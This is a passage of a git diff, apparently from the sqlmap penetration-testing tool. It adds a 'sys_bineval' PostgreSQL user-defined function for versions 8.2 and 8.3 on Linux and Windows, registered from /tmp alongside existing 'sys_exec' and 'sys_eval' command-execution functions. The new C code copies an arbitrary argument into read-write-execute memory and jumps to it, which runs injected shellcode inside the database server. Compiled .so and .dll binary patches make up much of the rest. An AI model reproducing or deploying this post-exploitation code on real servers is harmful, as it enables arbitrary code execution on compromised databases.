INFINITE); +#else + pID = fork(); + if(pID<0) + return 1; + + if(pID==0) + { + page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size + page_size = (len+page_size) & ~(page_size); // align to page boundary + + // mmap an rwx memory page + addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0); + + if (addr == MAP_FAILED) + return 1; + + strncpy((char *)addr, args->args[0], len); + + ((void (*)(void))addr)(); + } + + if(pID>0) + waitpid(pID, 0, WNOHANG); +#endif + + return 0; +} + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) +DWORD WINAPI exec_payload(LPVOID lpParameter) +{ + __try + { + __asm + { + mov eax, [lpParameter] + call eax + } + } + __except(EXCEPTION_EXECUTE_HANDLER) + { + + } + + return 0; +} +#endif + +#endif /* HAVE_DLOPEN */ \ No newline at end of file diff --git a/extra/postgresqludfsys/lib_postgresqludf_sys/linux/install.sh b/extra/postgresqludfsys/lib_postgresqludf_sys/linux/install.sh index 56df333d5..a5aa0c6a2 100755 --- a/extra/postgresqludfsys/lib_postgresqludf_sys/linux/install.sh +++ b/extra/postgresqludfsys/lib_postgresqludf_sys/linux/install.sh @@ -19,6 +19,8 @@ # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA # Adapt the following settings to your environment +#PORT="5433" +#VERSION="8.2" PORT="5432" VERSION="8.3" USER="postgres" diff --git a/extra/postgresqludfsys/lib_postgresqludf_sys/linux/lib_postgresqludf_sys.sql b/extra/postgresqludfsys/lib_postgresqludf_sys/linux/lib_postgresqludf_sys.sql index ad26ff250..4094348af 100644 --- a/extra/postgresqludfsys/lib_postgresqludf_sys/linux/lib_postgresqludf_sys.sql +++ b/extra/postgresqludfsys/lib_postgresqludf_sys/linux/lib_postgresqludf_sys.sql @@ -21,3 +21,4 @@ CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS '/tmp/lib_postgresqludf_sys.so', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/lib_postgresqludf_sys.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; +CREATE OR REPLACE FUNCTION sys_bineval(text) RETURNS int4 AS '/tmp/lib_postgresqludf_sys.so', 'sys_bineval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; diff --git a/extra/postgresqludfsys/lib_postgresqludf_sys/linux/so/8.2/lib_postgresqludf_sys.so b/extra/postgresqludfsys/lib_postgresqludf_sys/linux/so/8.2/lib_postgresqludf_sys.so index b5301e17da6e9dd19b187220b8da599bc4963cb8..16556d4fb7e61b682e38efcd9035543e88d372bf 100644 GIT binary patch delta 2126 zcmb_dZA@EL7(TbX+$uZ&z`$4yW9-yK`DW=>K4Z7?CmP3I@xoLJ*Z?aa0n|jmr1cmp z0ha+XU*AhfD2gPJXv7@JJvZi zW%~tSnomADVRoNlHh$gk@rZ>Lyay{eX@Z+y5?q$X%f9pTJ#Uu!Pq?c2k3wnH3|woC zzUZ?x0Ve%vj$Y;Wgl(~(a;*R4=u0_zE=S+b(TN=Wb&me_aV@hy9yhR$_=h@A?Drh& z`|C7a=YC+5F>_Ti!hab0HtuZzO!@@44EH>Z+ap~Dc6eb#v$DIY8QS92q^4WZ^*>tg z4b}rgL@zZU*GVA_BVwUkXV85u?ya*omhO=cFh3v4y=F8x43XCTxWZtXkW z*Lpk<;tTrXmpa3}?=TqJ!=X+V47PQ%zDRGVz56tKw=EFq4!q5RZ6{BL+gY$9NY?If zcSnfzc4$UkBKCW9NFPcdYSdf*BQibzQgrczD8-OQ_z*fQwLVV(G0J1Utj!S!AQMGa znblTJ>sf79+cd3Xd!VT~5CHr#ca|%%T%F|+tWJKTH^T>GP&$;_%Wx2{;>w7Rk{zcy zLyYhEh8V>+ON_Dq(RkniX&kYcGzzUh%e}M?v<(p_?jk#i?K`rAw~!qi8z%=&KSzuz z+e`z1I$~7GO=7$Q)ieQ{?IZ@8h!MOLDp|ryut<#SULvM92484^T_lEXR_+`cS`<_8 zuw#SC6+8@azO33+b@*l^FGX)hib^3>FLIx>V*|z?K9sr)%V6>oCl5(J;ToTij_O=a z{{1A6) zo#8~`$VKcooQU=*^H0IGYxGolM)YfEqoG47VboFk@9a#yKc+oe=xCV(wv=Nk*hnu` z`K(g!7cmummf0maw4z2Dlrw(g=suCWN@-?)^_QzO>aQw|h7+TaEo{I~D^X5?5oE^J zPMaB)YsH2Ol%l$p>)a)P?)1 zdgR#kWG`k5lXIrm^;|4;)=>%2OHB2OWYX%Cw*3{j_dpF_fFF0s(#S+A=`=L*f;I8x z!l&g0nCQmmF@)Y#qrk@si%Uiz5wtL!bP3!5y$Y7_kK~1z6M3@Mb|7Z^0HYU{*Y@sx z(Oc1cJQ|8by)~8FE4M%Ud{k34&t&wI7}G=xKZ%8C9X@Sc;1_L0!VP}gX6H9-786B` z@D?l{GsTO*blfbvO%z5#6R(mzCW;GTH$NhKB#PQd9v_f>W{M{P@%%z|OBCh>iT^D7 zOmt6#=Xj6Z&MkI}-?gyIZ0+_gp>?*?p!dbP0ZK+Eg}Z Y`MteM5T^LSB0Jw%WEB#8f6>PO0aMJNYybcN delta 1683 zcmb_dU2GIp6uvV%Gu!DR-JR{W+giHo60tN;C^iyE{7VTY{t<$0s8z5+qixu3f3^=2 z!=@S|V8q1};m!0#p5$pIDZUW0kN`pi(vT)fQVk^gKy;}!X^1j@-|j5JK68_AzVn?k zd+xpGo;y3=eycqjwcoRp>QYL5eDtZ6){?E%l6~~mBQH0@#qmU$l;N=s_Iq{&+z2cO z>VRcH7^nd(`7O|x(O_}-0JCH%<$$A}jp7Aa~ip)8!0!A1Ne&+F?l$0{x`z2~a*w^jN?mA+i1 z4^`<;s&wvAEdgIB^ZlbfHTIC^mfiqXq3SG!gJSi9@1x2GJpCbfGven^Z^r+Cu8-q^ z5ma~GU%<=aRAs#zy#D`u8`bY{Jp2MDUGfghQFf`OGdwH|2j~1ExWz9Ez5|_m2h*v6 ziS+Kh1L?`6N)GJXm)fI}gULOkAF0vQ=-`MNA1pg3(&HoW%2i{(u5{UEM*If40%s^= zW+bDOhAz8?%$%KLA~u9MP4yRS`s#;<(2j<3Jsm7*pR%!S#zQ5otFYI0acq&j*zR$c z$KQEe6EDa6q4f+pxDnIo;Bh+8lgB;&3R$Q-7zck&KMrG#esDMa;FI)Y@&z)=*UUKV zm&iab8Moz6GH%N@{to@y2i~RQ!TsteNFj#4Mw8zms2L3>Kd9ZAOm)t!n>*n{u=ro*u+<8Vi9F3dL-e zjCfschGMlW7%{Dh<+R$YBe6o(Ix(AtA-bf;iCHY$1w-~biCPwvKtWG9trqKCFy)ey zuy{~QrYtxKvkir7le)`Ww#{O2Hc`ebXk)#5?U*fJbW*t0N+xO@|iS&Oh1?c9&y YVNE+NPe)cp&*Qe9s+F7(TbX+6c@L-$(&)BXb5iV2tfv+DlK2lkSHA? z815Pf>U!=%Yrf*EE+8t_M+I|9(Z`( z=RKeIJ@0$?YvcUJNw;OMiLn~S*uYfzGt!-W#_r@#)la11PX!mfE6(Fdlpa3080R<q_jUqIx)WT6d%lX>BV7h|`Qb#fvwNx)+UD1!rdwbJAFuZg z>w%;4v4c5sCJds#7X5d@v;iGzQBN`%8Acg$n$iMIW;XU3*ly-Wj6($-p>Ri}rSEuO z%i&O%&l`(h>4@|mWpK1b!X2!utF@c;_4kI`x{tFDT0{Naq4!x=>#<{zHrCbNMc(d6 zcYB!iwrfsaA`bctNFPcdYGkeb5t)&HEqZuDlwwFDde{YpBdgW5L(>NK1~fGn0)SuU)wx3FDxFVZb?P_!v%D_`Wk9LDiVorou8jB~`Eja2 zVtmI8F^ca7F~+XYc;F#v9I=r!3T;5=ZdwQ0frt}#k{`wP1Np(vk{=wKpbnh=CNZk4 zoCW|}iBToDi17|o(FAO^ofv2!M)1<8WC<_90x_<8k(k~Xe4z<`kr=v3x!X9hAg0m7 z4h<)l@i4^slIm2|(O>)X()4zusT9(6A`eJg)?xhq#`FbvhLfMUc~}Yvm-&=*(BN_N zf22*ZNi>YPcm?NZPLh>)WLwATuilwUg1nk+d-Gs{Ljl zj?TM8)yI^%c=J*`x*R{5Q5JZu>8N2QfBH*PO3fy{l${PZSoHj6ou75jyE2csKL|u!MgkTVrnI$!gnzsOZdWLffjxm3(-3KihZ7+a}){J`R@)VzwWSEC}M>7 z;PF{0UIb>~R@rNzFcKR0X4z+;DIg)1JTp delta 1683 zcmb_dU1$_n6uvV%Gn>h(*`3YCT^qC8mD)6DG&WQeR3xQ^)*p&SjH%jGLz~oO^Rs!V zNSCw-(W0y#>|+TOd};f%6{0U9+ZOvrZOKE>3aKdUgUH542%=8EZ+EuUefGjP-}%m+ zJ@?*o&YhiYx!sbD+V5FPwJW8Loq2JEwO}i?V4r#G^wwo?aV##AGCbD7e$S48mjX+G zI$#kH25JCH{thh7Xs|eZfLXGXa==l~#&W722mlS9uR<};sP#DLaR|(K)Z7jBuO`%_ zX8iVg7k!Mw_^lu8mfy9AF*CfkQHok)C<|w0a1+1CCVfrji;4?O@Ap;u%PM`oO8;7= zPgLnot90&JEdgIB^Ubq9HT;z3k+uUXk#(lRL9+I69=SW_=?}phG5;g-&G~!K^$9#M zf@;pa0bZ1#D(i#bwg1OkuWrHd^b1^c!7G@9m6+2h77N2cowtA+{c_*;N!#JxbgE}G zeeiHkdTc-q^c*>oI-~}A2M!H=tcFrUy@P6`x9l8Ej|{>q*NmgO(q*R^@f+w0)KG@a zNJc3QUG@heb9IitN;M0vg&TF;<^V^~fH57B|1Jm>K#M4@iwJoq^MD8_aA!5#F2zos9H7s*Ipl=HAR zlY!l2+?F{qZp%*o4*lB&KA_{l^Xf=QA&$OAliwxd>J`a2yTXqB@Ec_4&J%ZbeRkI< zU`BP1=Zm;ApUb@Ky2t-an}sHL3s?Af*C)&Tud#}yfuHT!RrnV6c>ZKe4)~MWcQWqZ zrw3wk)4!$>^Ha0f%Kkj9zy7mkV95*iNBXp#o3LlJP&S(_$2#@cb;tAl4Kf(muw*S3 zDr6tIZddnD`H|ekz}voDF>qTGqb|CE1?Go>?Zp$Zt@v@71|B?dQxnJ^J1>o6@@h{* zv+tKnXWh$A0aN?{M8UkR*OZ*DYlvM%1e`jBcU2L57WyIB#8+s2CW`D;#%9Fa0n{Ym zd9$NqW1_k9{jtIHSfai4)z)>Z+r~<&ZQUzn$8&h;o#z+IizJtWvoaZ~N7XKb;x +#include +#include +#include #endif #include #include #include +#include #include +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) +DWORD WINAPI exec_payload(LPVOID lpParameter); +#endif + #ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC; #endif @@ -108,4 +117,76 @@ extern DLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) { memcpy(VARDATA(result_text), result, strlen(result)); PG_RETURN_POINTER(result_text); -} \ No newline at end of file +} + +PG_FUNCTION_INFO_V1(sys_bineval); +extern DLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) { + text *argv0 = PG_GETARG_TEXT_P(0); + int32 argv0_size; + size_t len; + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) + int pID; + char *code; +#else + int *addr; + size_t page_size; + pid_t pID; +#endif + + argv0_size = VARSIZE(argv0) - VARHDRSZ; + len = (size_t)argv0_size; + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) + // allocate a +rwx memory page + code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + strncpy(code, VARDATA(argv0), len); + + WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE); +#else + pID = fork(); + if(pID<0) + PG_RETURN_INT32(1); + + if(pID==0) + { + page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size + page_size = (len+page_size) & ~(page_size); // align to page boundary + + // mmap an rwx memory page + addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0); + + if (addr == MAP_FAILED) + PG_RETURN_INT32(1); + + strncpy((char *)addr, VARDATA(argv0), len); + + ((void (*)(void))addr)(); + } + + if(pID>0) + waitpid(pID, 0, WNOHANG); +#endif + + PG_RETURN_INT32(0); +} + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) +DWORD WINAPI exec_payload(LPVOID lpParameter) +{ + __try + { + __asm + { + mov eax, [lpParameter] + call eax + } + } + __except(EXCEPTION_EXECUTE_HANDLER) + { + + } + + return 0; +} +#endif diff --git a/extra/postgresqludfsys/lib_postgresqludf_sys/linux/src/8.3/lib_postgresqludf_sys.c b/extra/postgresqludfsys/lib_postgresqludf_sys/linux/src/8.3/lib_postgresqludf_sys.c index b07fbb56c..48cabdcc2 100644 --- a/extra/postgresqludfsys/lib_postgresqludf_sys/linux/src/8.3/lib_postgresqludf_sys.c +++ b/extra/postgresqludfsys/lib_postgresqludf_sys/linux/src/8.3/lib_postgresqludf_sys.c @@ -25,14 +25,23 @@ #define BUILDING_DLL 1 #else #define DLLEXP +#include +#include +#include +#include #endif #include #include #include +#include #include +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) +DWORD WINAPI exec_payload(LPVOID lpParameter); +#endif + #ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC; #endif @@ -109,3 +118,75 @@ extern PGDLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) { PG_RETURN_POINTER(result_text); } + +PG_FUNCTION_INFO_V1(sys_bineval); +extern PGDLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) { + text *argv0 = PG_GETARG_TEXT_P(0); + int32 argv0_size; + size_t len; + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) + int pID; + char *code; +#else + int *addr; + size_t page_size; + pid_t pID; +#endif + + argv0_size = VARSIZE(argv0) - VARHDRSZ; + len = (size_t)argv0_size; + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) + // allocate a +rwx memory page + code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + strncpy(code, VARDATA(argv0), len); + + WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE); +#else + pID = fork(); + if(pID<0) + PG_RETURN_INT32(1); + + if(pID==0) + { + page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size + page_size = (len+page_size) & ~(page_size); // align to page boundary + + // mmap an rwx memory page + addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0); + + if (addr == MAP_FAILED) + PG_RETURN_INT32(1); + + strncpy((char *)addr, VARDATA(argv0), len); + + ((void (*)(void))addr)(); + } + + if(pID>0) + waitpid(pID, 0, WNOHANG); +#endif + + PG_RETURN_INT32(0); +} + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) +DWORD WINAPI exec_payload(LPVOID lpParameter) +{ + __try + { + __asm + { + mov eax, [lpParameter] + call eax + } + } + __except(EXCEPTION_EXECUTE_HANDLER) + { + + } + + return 0; +} +#endif diff --git a/extra/postgresqludfsys/lib_postgresqludf_sys/windows/dll/8.2/lib_postgresqludf_sys.dll b/extra/postgresqludfsys/lib_postgresqludf_sys/windows/dll/8.2/lib_postgresqludf_sys.dll index b47f15c51f70a42eff50c57e972560f761f41573..49e5f813078933329f91b93a885cbf32c945ac0f 100755 GIT binary patch delta 3436 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 diff --git a/extra/postgresqludfsys/lib_postgresqludf_sys/windows/dll/8.3/lib_postgresqludf_sys.dll b/extra/postgresqludfsys/lib_postgresqludf_sys/windows/dll/8.3/lib_postgresqludf_sys.dll index 875aa45c6a48cdd3a8390b9c55fccd075f9981f2..a4935bcc8e02f13487cfc6b983e4f4e5dd8f9eb0 100755 GIT binary patch delta 3288 zcmX|^c~p~k*2kahPe?)ngd~t4VRwnhra~hHSrlbU2m~U*5J(^i*~|i3#J~ikG&(BO z*0*Y3ty5tbtxzbbpaRALb+kol5s4ObtW#eIU>87x$wXdf?m3_H{r&E}zx&s7?)g5o z5w#IVw?F~NvGx1Q{})BI@l#1(a`r>-b&B|j#+zoJp+eyu01 zy!)^|Zlw;q>!-d`%8KSlOC@h-9}A$YVWk2<1_TE1V^8k{-o+FE4ZuLq06=gh-ck$z z11%m94rIPX3<*MVPJva+B&cY3glWz`ZLD)|3gcIDu9JpyIC!da~ z%^!kq1{Mu7rR1aerg`v;@dk}qM9`r*Nr~S%tP?FI@a?N8oR9hztmDznLm$&QhjW8t zNt~P}=YnE}AH0S1VaqVwe_egbV}HAn<4MD*l0XzrNqFc*>|8x?M*UMC106*6b!;KV^2%b!yYRioB0s;L#8NNiK|K%x4; zT%{^&M&?-KsfN3KDLVU%Wioi{j#?31E%zD?p^hEtc(M$kDj zjs6z$m^4(0v6x7Xd(I+LX0_ecx2_2n$debEelEH`cgGpBf6`HXp&QY`#1-hFzgb>@ z$kQh0|FUB3TuCheoZmlct>y9N&CW`7Pysx*VL^{5NZf5Ph62<9@feRIJ`T4pBikz|j(nHM0qevsj1;O(-y-r@jnI!#CWo z=_y?55s@iB?#tRpk7#-R4Debro9X-|R-3Hf(7p+=1U1M)-f%yKr^2FJUSS#V`7Dan4R3fM21y z@tQWS3!Gb3Z{@{(tp_K!#Kn8_bu`Jvm*#5ZYIH_2&Z$Si4sPhV3I>s!FLQT6-25w) zk3h&->t47~+!uB1^xa7-{{He1vLf5K1T7oo6*|XuQSE06($gX@$u=6a-E;H!`o>|O zT(4eY`lO?XLTIW1jdO73O%2ir5U<&Jmc?8sTH=&_eU$FSlL!NcIbpbodO9__?0=C5#ATy$t{r*g6_^=X^ zn{PQLhexkty$Ocj!I3o6E7Py0BG6`8cuvcG7JZAqTtf$OJ*3hn%gmR%;@(RkKT|DT zOt{2l&PNy>P<^-$VTL*Q?USAc-RE4v2y^!{V9<7o2W#=z1$&=JqB>5`)OxxFhB+Ym zU=cn4;P^}z%PU_7Y{(fM7o59_^x!PYVEW{2=FCHbG6ohP(SG||b04c73q#@FY3kgB!M{_<7)fq=u7Pi9C?rh0$F55Y3(P%d^ZoK+K* zhs7a8yrNhtjd~-{dv%l`fPS{xlARntYuX(^Y4Sr5x7ez;KMDAvJpfyFh!TsG_FSq7 zF))yH5Q%`>XFn+m0oEIqPaPpf99P6!3%J23`0BmjLrR4c6=Q0cT0YaRJ`U;mvu%Rr zLl5?%pi2i9xe-HXT32yX!+6x@gS_|M;E!PR7;yiYL5b-LK96=S`)N$@KI&>?JRK;W z@f&*;Bq^ja$k$r4lOt|fY7Hv(Fw*Du4ZxM-Gw{#7@$}i?U#}ac$i#MSR94L#&EQm(g z9h#Sd-65U;JY@4v*qr|IXz<(q!l%~EU5v6gi0;>cvaMTSgLSdXc1#27QT|-?=w%Fq zmPWyUTnsU$e}BEmk-(iYpSPw(-o%@?63-(#bw=ABWOV)*NWoVwI}6V}{hWqnzS5vg 